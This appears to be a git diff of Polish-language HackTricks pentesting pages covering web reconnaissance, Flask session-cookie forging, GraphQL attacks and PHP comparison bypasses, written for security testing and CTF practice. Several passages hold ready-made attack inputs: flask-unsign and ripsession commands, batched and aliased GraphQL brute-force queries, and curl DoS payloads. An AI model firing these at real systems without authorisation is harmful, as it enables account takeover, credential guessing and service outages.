- Jeśli grasz w **CTF**, "powszechnym" trikiem jest **ukrywanie** **informacji** w komentarzach po **prawej** stronie **strony** (używając **setek** **spacji**, aby nie widzieć danych, jeśli otworzysz kod źródłowy w przeglądarce). Inną możliwością jest użycie **wielu nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
- **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik, który wskazuje, jak używać kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Klucze API Google: Jeśli znajdziesz jakikolwiek klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do jakich API klucz ma dostęp.
- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomen** lub jakikolwiek **link** jest związany z jakimś **S3 bucket**. W takim przypadku, [**sprawdź** **uprawnienia** bucketu](buckets/).
- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomen** lub jakikolwiek **link** jest związany z jakimś **S3 bucket**. W takim przypadku, [**sprawdź** **uprawnienia** bucketu](buckets/index.html).
### Specjalne znaleziska
@ -289,18 +289,18 @@ _Uwaga, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-fo
- Szukaj **linków** do innych plików w **plikach CSS**.
- [Jeśli znajdziesz plik _**.git**_, można wyodrębnić pewne informacje](git.md).
- Jeśli znajdziesz _**.env**_, można znaleźć takie informacje jak klucze API, hasła do baz danych i inne informacje.
- Jeśli znajdziesz **punkty końcowe API**, [powinieneś je również przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "wyglądają jak" one.
- **Pliki JS**: W sekcji spideringu wspomniano o kilku narzędziach, które mogą wyodrębnić ścieżki z plików JS. Również, warto **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że potencjalna luka została wprowadzona w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
- Jeśli znajdziesz _**.env**_, można znaleźć informacje takie jak klucze API, hasła do baz danych i inne informacje.
- Jeśli znajdziesz **punkty końcowe API**, [powinieneś je również przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie "wyglądają" jak one.
- **Pliki JS**: W sekcji spideringu wspomniano o kilku narzędziach, które mogą wyodrębniać ścieżki z plików JS. Również, warto **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że potencjalna luka została wprowadzona w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
- Powinieneś również sprawdzić odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne.
- **Deobfuscator i Unpacker JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
- **Beautifier JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
- **Deobfuskacja JsFuck** (javascript z znakami:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
- **Deobfuscator i Unpacker JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Beautifier JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **Deobfuskacja JsFuck** (javascript z znakami:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- W wielu przypadkach będziesz musiał **zrozumieć wyrażenia regularne** używane. To będzie przydatne: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex).
- Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność.
- Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana parametru lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność.
**403 Forbidden/Basic Authentication/401 Unauthorized (obejście)**
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
{{#ref}}
403-and-401-bypasses.md
@ -308,17 +308,17 @@ _Uwaga, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-fo
**502 Proxy Error**
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi typowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp** do _**google.com**_ **i znajdziesz** SSRF.
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi typowymi nagłówkami), **proxy** spróbuje **uzyskać dostęp** do _**google.com**_ **i znajdziesz** SSRF.
**NTLM Authentication - Ujawnienie informacji**
**NTLM Authentication - Info disclosure**
Jeśli działający serwer prosi o uwierzytelnienie jest **Windows** lub znajdziesz logowanie proszące o twoje **dane uwierzytelniające** (i pytające o **nazwa domeny**), możesz wywołać **ujawnienie informacji**.\
Jeśli działający serwer prosi o uwierzytelnienie i jest **Windows** lub znajdziesz logowanie proszące o twoje **dane uwierzytelniające** (i pytające o **nazwa domeny**), możesz wywołać **ujawnienie informacji**.\
**Wyślij** **nagłówek**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z powodu tego, jak działa **uwierzytelnianie NTLM**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\
Możesz **zautomatyzować** to, używając **pluginu nmap** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w tym miejscu.
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w tym.
### Sprawdzanie luk w sieci
@ -328,7 +328,7 @@ Teraz, gdy przeprowadzono kompleksową enumerację aplikacji webowej, czas spraw
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
Więcej informacji o lukach w sieci znajdziesz na:
Więcej informacji o lukach w sieci znajdziesz w:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
**Prawdopodobnie, jeśli bierzesz udział w CTF, aplikacja Flask będzie związana z** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
**Prawdopodobnie, jeśli bierzesz udział w CTF, aplikacja Flask będzie związana z** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
## Cookies
@ -48,7 +48,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Narzędzie wiersza poleceń do brutalnego łamania stron internetowych za pomocą ciasteczek stworzonych przy użyciu flask-unsign.
Narzędzie wiersza poleceń do atakowania siłowego stron internetowych za pomocą ciasteczek stworzonych przy użyciu flask-unsign.
{{#ref}}
https://github.com/Tagvi/ripsession
@ -58,7 +58,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
```
### SQLi w ciasteczku sesyjnym Flask z SQLmap
[**Ten przykład**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) wykorzystuje opcję sqlmap `eval`, aby **automatycznie podpisywać ładunki sqlmap** dla Flask, używając znanego sekretu.
[**Ten przykład**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) używa opcji sqlmap `eval`, aby **automatycznie podpisywać ładunki sqlmap** dla Flask przy użyciu znanego sekretu.
## Proxy Flask do SSRF

View File

@ -23,11 +23,11 @@ Aby zidentyfikować wystawione instancje GraphQL, zaleca się uwzględnienie kon
- `/graphql/api`
- `/graphql/graphql`
Identyfikacja otwartych instancji GraphQL pozwala na zbadanie wspieranych zapytań. To jest kluczowe dla zrozumienia danych dostępnych przez punkt końcowy. System introspekcji GraphQL ułatwia to, szczegółowo opisując zapytania, które wspiera schemat. Aby uzyskać więcej informacji na ten temat, zapoznaj się z dokumentacją GraphQL na temat introspekcji: [**GraphQL: język zapytań dla API.**](https://graphql.org/learn/introspection/)
Identyfikacja otwartych instancji GraphQL umożliwia badanie wspieranych zapytań. To jest kluczowe dla zrozumienia danych dostępnych przez punkt końcowy. System introspekcji GraphQL ułatwia to, szczegółowo opisując zapytania, które wspiera schemat. Aby uzyskać więcej informacji na ten temat, zapoznaj się z dokumentacją GraphQL na temat introspekcji: [**GraphQL: język zapytań dla API.**](https://graphql.org/learn/introspection/)
### Odcisk
### Odcisk palca
Narzędzie [**graphw00f**](https://github.com/dolevf/graphw00f) jest w stanie wykryć, który silnik GraphQL jest używany na serwerze, a następnie wydrukować przydatne informacje dla audytora bezpieczeństwa.
Narzędzie [**graphw00f**](https://github.com/dolevf/graphw00f) jest w stanie wykryć, który silnik GraphQL jest używany na serwerze, a następnie drukuje przydatne informacje dla audytora bezpieczeństwa.
#### Zapytania uniwersalne <a href="#universal-queries" id="universal-queries"></a>
@ -41,7 +41,7 @@ Graphql zazwyczaj obsługuje **GET**, **POST** (x-www-form-urlencoded) i **POST*
#### Introspekcja
Aby użyć introspekcji do odkrycia informacji o schemacie, zapytaj pole `__schema`. To pole jest dostępne w typie głównym wszystkich zapytań.
Aby użyć introspekcji do odkrywania informacji o schemacie, zapytaj pole `__schema`. To pole jest dostępne w typie głównym wszystkich zapytań.
```bash
query={__schema{types{name,fields{name}}}}
```
@ -57,7 +57,7 @@ Za pomocą tego zapytania możesz wyodrębnić wszystkie typy, ich pola i argume
**Błędy**
Interesujące jest, aby wiedzieć, czy **błędy** będą **pokazywane**, ponieważ przyczynią się do użytecznych **informacji.**
Interesujące jest, czy **błędy** będą **pokazywane**, ponieważ przyczynią się do użytecznych **informacji.**
```
?query={__schema}
?query={}
@ -170,7 +170,7 @@ Jeśli introspekcja jest włączona, możesz użyć [**GraphQL Voyager**](https:
### Zapytania
Teraz, gdy wiemy, jakie informacje są zapisane w bazie danych, spróbujmy **wyodrębnić kilka wartości**.
Teraz, gdy wiemy, jaki rodzaj informacji jest zapisany w bazie danych, spróbujmy **wyodrębnić kilka wartości**.
W introspekcji możesz znaleźć **który obiekt możesz bezpośrednio zapytać** (ponieważ nie możesz zapytać obiektu tylko dlatego, że istnieje). Na poniższym obrazku możesz zobaczyć, że "_queryType_" nazywa się "_Query_", a jednym z pól obiektu "_Query_" jest "_flags_", które jest również typem obiektu. Dlatego możesz zapytać obiekt flagi.
@ -192,7 +192,7 @@ Możesz po prostu zapytać o to za pomocą:
```javascript
query = { hiddenFlags }
```
W innym przykładzie, gdzie znajdowały się 2 obiekty wewnątrz obiektu typu "_Query_": "_user_" i "_users_".\
W innym przykładzie, gdzie były 2 obiekty wewnątrz obiektu typu "_Query_": "_user_" i "_users_".\
Jeśli te obiekty nie potrzebują żadnych argumentów do wyszukiwania, można **pobierać wszystkie informacje z nich** po prostu **prosząc** o dane, które chcesz. W tym przykładzie z Internetu można wyodrębnić zapisane nazwy użytkowników i hasła:
![](<../../images/image (880).png>)
@ -206,7 +206,7 @@ Tak czy inaczej, już to wiedzieliśmy, w sekcji [Basic Enumeration](graphql.md#
Jeśli przeczytasz obrazek dostarczony, gdy uruchomiłem to zapytanie, zobaczysz, że "_**user**_" miał **arg** "_**uid**_" typu _Int_.
Więc, wykonując lekką _**uid**_ bruteforce, odkryłem, że w _**uid**=**1**_ odzyskano nazwę użytkownika i hasło:\
Więc, wykonując lekką _**uid**_ bruteforce, odkryłem, że dla _**uid**=**1**_ pobrano nazwę użytkownika i hasło:\
`query={user(uid:1){user,password}}`
![](<../../images/image (90).png>)
@ -225,7 +225,7 @@ Jeśli możesz wyszukiwać według typu ciągu, jak: `query={theusers(descriptio
W tej konfiguracji, **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane przez swój **email** i **imię**; **filmy** przez swoją **nazwę** i **ocenę**. **Osoby** mogą być przyjaciółmi i również mieć filmy, co wskazuje na relacje w bazie danych.
Możesz **wyszukiwać** osoby **po** **nazwie** i uzyskać ich emaile:
Możesz **wyszukiwać** osoby **po** **imieniu** i uzyskać ich emaile:
```javascript
{
searchPerson(name: "John Doe") {
@ -233,7 +233,7 @@ email
}
}
```
Możesz **szukać** osób **po** **nazwie** i uzyskać ich **subskrybowane** **filmy**:
Możesz **wyszukiwać** osoby **po** **nazwie** i uzyskać ich **subskrybowane** **filmy**:
```javascript
{
searchPerson(name: "John Doe") {
@ -285,11 +285,11 @@ name
**Mutacje są używane do wprowadzania zmian po stronie serwera.**
W **introspekcji** można znaleźć **zadeklarowane** **mutacje**. Na poniższym obrazku "_MutationType_" nazywa się "_Mutation_" a obiekt "_Mutation_" zawiera nazwy mutacji (jak "_addPerson_" w tym przypadku):
W **introspekcji** można znaleźć **zadeklarowane** **mutacje**. Na poniższym obrazku "_MutationType_" nazywa się "_Mutation_", a obiekt "_Mutation_" zawiera nazwy mutacji (jak "_addPerson_" w tym przypadku):
![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
W tej konfiguracji **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane po swoim **emailu** i **imieniu**; **filmy** po swoim **tytule** i **ocenie**. **Osoby** mogą być przyjaciółmi i również mieć filmy, co wskazuje na relacje w bazie danych.
W tej konfiguracji **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane po swoim **emailu** i **imieniu**; **filmy** po swoim **tytule** i **ocenie**. **Osoby** mogą być przyjaciółmi i również posiadać filmy, co wskazuje na relacje w bazie danych.
Mutacja do **tworzenia nowych** filmów w bazie danych może wyglądać jak poniższa (w tym przykładzie mutacja nazywa się `addMovie`):
```javascript
@ -332,20 +332,20 @@ releaseYear
}
}
```
### Przeciążenie dyrektywy
### Przeciążanie dyrektyw
Jak wyjaśniono w [**jednej z luk opisanych w tym raporcie**](https://www.landh.tech/blog/20240304-google-hack-50000/), przeciążenie dyrektywy polega na wywołaniu dyrektywy nawet miliony razy, aby zmusić serwer do marnowania operacji, aż będzie możliwe przeprowadzenie DoS.
Jak wyjaśniono w [**jednej z luk opisanych w tym raporcie**](https://www.landh.tech/blog/20240304-google-hack-50000/), przeciążanie dyrektyw polega na wywoływaniu dyrektywy nawet miliony razy, aby zmusić serwer do marnowania operacji, aż będzie możliwe przeprowadzenie ataku DoS.
### Grupowanie brute-force w 1 żądaniu API
Te informacje zostały zaczerpnięte z [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Uwierzytelnianie przez API GraphQL z **jednoczesnym wysyłaniem wielu zapytań z różnymi poświadczeniami** w celu ich sprawdzenia. To klasyczny atak brute force, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło w jednym żądaniu HTTP dzięki funkcji grupowania GraphQL. To podejście oszukuje zewnętrzne aplikacje monitorujące stawki, sprawiając, że myślą, iż wszystko jest w porządku i nie ma bota próbującego zgadnąć hasła.
Uwierzytelnianie przez API GraphQL z **jednoczesnym wysyłaniem wielu zapytań z różnymi poświadczeniami** w celu ich sprawdzenia. To klasyczny atak brute force, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło w jednym żądaniu HTTP dzięki funkcji grupowania GraphQL. To podejście oszukuje zewnętrzne aplikacje monitorujące stawki, sprawiając, że myślą, że wszystko jest w porządku i nie ma bota próbującego zgadnąć hasła.
Poniżej znajduje się najprostsza demonstracja żądania uwierzytelnienia aplikacji, z **3 różnymi parami email/hasło jednocześnie**. Oczywiście możliwe jest wysłanie tysięcy w jednym żądaniu w ten sam sposób:
![](<../../images/image (1081).png>)
Jak widać na zrzucie ekranu odpowiedzi, pierwsze i trzecie żądania zwróciły _null_ i odzwierciedliły odpowiednie informacje w sekcji _error_. **Drugie mutacja miała poprawne dane uwierzytelniające** i odpowiedź zawiera poprawny token sesji uwierzytelniającej.
Jak widać na zrzucie ekranu odpowiedzi, pierwsze i trzecie żądania zwróciły _null_ i odzwierciedliły odpowiednie informacje w sekcji _error_. **Drugie mutacja miała poprawne dane uwierzytelniające** i odpowiedź zawierała poprawny token sesji uwierzytelniającej.
![](<../../images/image (119) (1).png>)
@ -371,7 +371,7 @@ Jeśli niepowodzenie, rozważ alternatywne metody żądań, takie jak **żądani
### Spróbuj WebSocketów
Jak wspomniano w [**tej prezentacji**](https://www.youtube.com/watch?v=tIo_t5uUK50), sprawdź, czy możliwe jest połączenie z graphQL za pomocą WebSocketów, ponieważ może to pozwolić na ominięcie potencjalnego WAF i sprawić, że komunikacja WebSocket ujawni schemat graphQL:
Jak wspomniano w [**tej prezentacji**](https://www.youtube.com/watch?v=tIo_t5uUK50), sprawdź, czy możliwe jest połączenie z graphQL za pomocą WebSocketów, ponieważ może to pozwolić na ominięcie potencjalnego WAF i sprawić, że komunikacja WebSocket będzie ujawni schemat graphQL:
```javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
@ -395,9 +395,9 @@ payload: GQL_CALL,
ws.send(JSON.stringify(graphqlMsg))
}
```
### **Odkrywanie Ujawnionych Struktur GraphQL**
### **Odkrywanie Odkrytych Struktur GraphQL**
Gdy introspekcja jest wyłączona, badanie kodu źródłowego strony internetowej w poszukiwaniu wstępnie załadowanych zapytań w bibliotekach JavaScript jest przydatną strategią. Te zapytania można znaleźć, korzystając z zakładki `Sources` w narzędziach deweloperskich, co daje wgląd w schemat API i ujawnia potencjalnie **ujawnione wrażliwe zapytania**. Polecenia do wyszukiwania w narzędziach deweloperskich to:
Gdy introspekcja jest wyłączona, badanie kodu źródłowego strony internetowej w poszukiwaniu wstępnie załadowanych zapytań w bibliotekach JavaScript jest przydatną strategią. Te zapytania można znaleźć, korzystając z zakładki `Sources` w narzędziach deweloperskich, co daje wgląd w schemat API i ujawnia potencjalnie **odkryte wrażliwe zapytania**. Polecenia do wyszukiwania w narzędziach deweloperskich to:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@ -427,13 +427,13 @@ Należy jednak zauważyć, że nowa domyślna wartość ciasteczka flagi `samesi
Należy pamiętać, że zazwyczaj możliwe jest również wysłanie **żądania** **zapytania** jako **żądania GET**, a token CSRF może nie być weryfikowany w żądaniu GET.
Ponadto, wykorzystując atak [**XS-Search**](../../pentesting-web/xs-search/), może być możliwe wyeksfiltrowanie treści z punktu końcowego GraphQL, wykorzystując dane uwierzytelniające użytkownika.
Ponadto, wykorzystując atak [**XS-Search**](../../pentesting-web/xs-search/index.html), może być możliwe wyeksfiltrowanie treści z punktu końcowego GraphQL, wykorzystując dane uwierzytelniające użytkownika.
Aby uzyskać więcej informacji, **sprawdź** [**oryginalny post tutaj**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Przechwytywanie WebSocket między witrynami w GraphQL
Podobnie jak w przypadku podatności CRSF, wykorzystując GraphQL, możliwe jest również przeprowadzenie **przechwytywania WebSocket między witrynami, aby wykorzystać uwierzytelnienie w GraphQL z niechronionymi ciasteczkami** i zmusić użytkownika do wykonania nieoczekiwanych działań w GraphQL.
Podobnie jak w przypadku podatności CRSF wykorzystujących GraphQL, możliwe jest również przeprowadzenie **przechwytywania WebSocket między witrynami, aby wykorzystać uwierzytelnienie w GraphQL z niechronionymi ciasteczkami** i zmusić użytkownika do wykonania nieoczekiwanych działań w GraphQL.
Aby uzyskać więcej informacji, sprawdź:
@ -445,7 +445,7 @@ Aby uzyskać więcej informacji, sprawdź:
Wiele funkcji GraphQL zdefiniowanych na punkcie końcowym może sprawdzać tylko uwierzytelnienie żądającego, ale nie autoryzację.
Modyfikacja zmiennych wejściowych zapytania może prowadzić do ujawnienia wrażliwych danych konta [leak](https://hackerone.com/reports/792927).
Modyfikacja zmiennych wejściowych zapytania może prowadzić do ujawnienia wrażliwych szczegółów konta [leak](https://hackerone.com/reports/792927).
Mutacja może nawet prowadzić do przejęcia konta, próbując zmodyfikować dane innego konta.
```javascript
@ -459,15 +459,15 @@ Mutacja może nawet prowadzić do przejęcia konta, próbując zmodyfikować dan
[Łączenie zapytań](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) może obejść słaby system autoryzacji.
W poniższym przykładzie widać, że operacja to "forgotPassword" i powinna ona wykonywać tylko zapytanie forgotPassword z nią związane. Można to obejść, dodając zapytanie na końcu, w tym przypadku dodajemy "register" oraz zmienną użytkownika, aby system zarejestrował się jako nowy użytkownik.
W poniższym przykładzie widać, że operacja to "forgotPassword" i że powinna ona wykonywać tylko zapytanie forgotPassword związane z nią. Można to obejść, dodając zapytanie na końcu, w tym przypadku dodajemy "register" oraz zmienną użytkownika, aby system zarejestrował się jako nowy użytkownik.
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Ominięcie limitów szybkości za pomocą aliasów w GraphQL
W GraphQL aliasy to potężna funkcja, która pozwala na **jawne nazywanie właściwości** podczas składania żądania API. Ta możliwość jest szczególnie przydatna do pobierania **wielu instancji tego samego typu** obiektu w jednym żądaniu. Aliasów można używać, aby obejść ograniczenie, które uniemożliwia obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie.
W GraphQL aliasy to potężna funkcja, która pozwala na **jawne nazywanie właściwości** podczas składania żądania API. Ta możliwość jest szczególnie przydatna do pobierania **wielu instancji tego samego typu** obiektu w jednym żądaniu. Aliasów można używać, aby przezwyciężyć ograniczenie, które uniemożliwia obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie.
Aby dokładniej zrozumieć aliasy GraphQL, zaleca się następujące źródło: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Aby uzyskać szczegółowe zrozumienie aliasów GraphQL, zaleca się następujące źródło: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Chociaż głównym celem aliasów jest zmniejszenie potrzeby wielu wywołań API, zidentyfikowano niezamierzony przypadek użycia, w którym aliasy mogą być wykorzystywane do przeprowadzania ataków brute force na punkt końcowy GraphQL. Jest to możliwe, ponieważ niektóre punkty końcowe są chronione przez ograniczniki szybkości zaprojektowane w celu powstrzymania ataków brute force poprzez ograniczenie **liczby żądań HTTP**. Jednak te ograniczniki szybkości mogą nie uwzględniać liczby operacji w każdym żądaniu. Biorąc pod uwagę, że aliasy pozwalają na dołączenie wielu zapytań w jednym żądaniu HTTP, mogą one obejść takie środki ograniczające.
@ -490,7 +490,7 @@ valid
### Przeciążenie aliasów
**Przeciążenie aliasów** to luka w GraphQL, w której atakujący przeciążają zapytanie wieloma aliasami dla tego samego pola, co powoduje, że resolver backendu wykonuje to pole wielokrotnie. Może to przytłoczyć zasoby serwera, prowadząc do **Denial of Service (DoS)**. Na przykład, w poniższym zapytaniu to samo pole (`expensiveField`) jest żądane 1,000 razy przy użyciu aliasów, zmuszając backend do obliczenia go 1,000 razy, co potencjalnie wyczerpuje CPU lub pamięć:
**Przeciążenie aliasów** to luka w GraphQL, w której atakujący przeciążają zapytanie wieloma aliasami dla tego samego pola, co powoduje, że resolver backendu wykonuje to pole wielokrotnie. Może to przytłoczyć zasoby serwera, prowadząc do **Denial of Service (DoS)**. Na przykład, w poniższym zapytaniu to samo pole (`expensiveField`) jest żądane 1,000 razy przy użyciu aliasów, zmuszając backend do obliczenia go 1,000 razy, co potencjalnie może wyczerpać CPU lub pamięć:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
@ -509,7 +509,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
```
W tym przykładzie 10 różnych zapytań jest grupowanych w jednym żądaniu, zmuszając serwer do jednoczesnego wykonania wszystkich z nich. Jeśli zostanie to wykorzystane z większym rozmiarem partii lub kosztownymi obliczeniowo zapytaniami, może to przeciążyć serwer.
W tym przykładzie 10 różnych zapytań jest grupowanych w jednym żądaniu, zmuszając serwer do jednoczesnego wykonania ich wszystkich. Jeśli zostanie to wykorzystane z większym rozmiarem partii lub kosztownymi obliczeniowo zapytaniami, może to przeciążyć serwer.
### **Wrażliwość na Przeciążenie Dyrektyw**
@ -539,7 +539,7 @@ A następnie **użyj niektórych z niestandardowych**.
### **Wrażliwość na duplikację pól**
**Duplikacja pól** to wrażliwość, w której serwer GraphQL zezwala na zapytania z tym samym polem powtarzanym nadmiernie. Zmusza to serwer do wielokrotnego rozwiązywania pola dla każdej instancji, co zużywa znaczące zasoby (CPU, pamięć i wywołania bazy danych). Atakujący może stworzyć zapytania z setkami lub tysiącami powtarzających się pól, powodując wysokie obciążenie i potencjalnie prowadząc do **Denial of Service (DoS)**.
**Duplikacja pól** to wrażliwość, w której serwer GraphQL zezwala na zapytania z tym samym polem powtarzanym nadmiernie. Zmusza to serwer do wielokrotnego rozwiązywania pola dla każdej instancji, co zużywa znaczące zasoby (CPU, pamięć i wywołania bazy danych). Atakujący może stworzyć zapytania z setkami lub tysiącami powtarzających się pól, powodując duże obciążenie i potencjalnie prowadząc do **odmowy usługi (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@ -550,7 +550,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
### Skanery podatności
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testuje powszechne błędy konfiguracji punktów końcowych GraphQL
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testuje powszechne błędy w konfiguracji punktów końcowych GraphQL
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skrypt audytujący bezpieczeństwo GraphQL z naciskiem na wykonywanie zbiorczych zapytań i mutacji GraphQL.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identyfikuje używaną wersję GraphQL
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Zestaw narzędzi, który można wykorzystać do pobierania schematów i wyszukiwania danych wrażliwych, testowania autoryzacji, ataków brute force na schematy oraz znajdowania ścieżek do danego typu.

View File

@ -3,11 +3,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## Cookies common location:
## Cookies wspólna lokalizacja:
To jest również ważne dla ciasteczek phpMyAdmin.
To również dotyczy ciasteczek phpMyAdmin.
Cookies:
Ciasteczka:
```
PHPSESSID
phpMyAdmin
@ -42,7 +42,7 @@ Więcej informacji w [https://medium.com/swlh/php-type-juggling-vulnerabilities-
### **in_array()**
**Typ Juggling** wpływa również na funkcję `in_array()` domyślnie (musisz ustawić trzeci argument na true, aby dokonać ścisłego porównania):
**Typ Juggling** również wpływa na funkcję `in_array()` domyślnie (musisz ustawić trzeci argument na true, aby dokonać ścisłego porównania):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -73,7 +73,7 @@ Nawet jeśli `===` jest **używane**, mogą wystąpić błędy, które sprawiaj
#### Ominięcie nowej linii
Jednakże, podczas delimitacji początku regexp, `preg_match()` **sprawdza tylko pierwszą linię danych wejściowych użytkownika**, więc jeśli w jakiś sposób możesz **wysłać** dane wejściowe w **kilku liniach**, możesz być w stanie obejść to sprawdzenie. Przykład:
Jednakże, przy delimitacji początku regexp, `preg_match()` **sprawdza tylko pierwszą linię danych wejściowych użytkownika**, więc jeśli w jakiś sposób możesz **wysłać** dane wejściowe w **kilku liniach**, możesz być w stanie obejść tę kontrolę. Przykład:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -112,9 +112,9 @@ Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
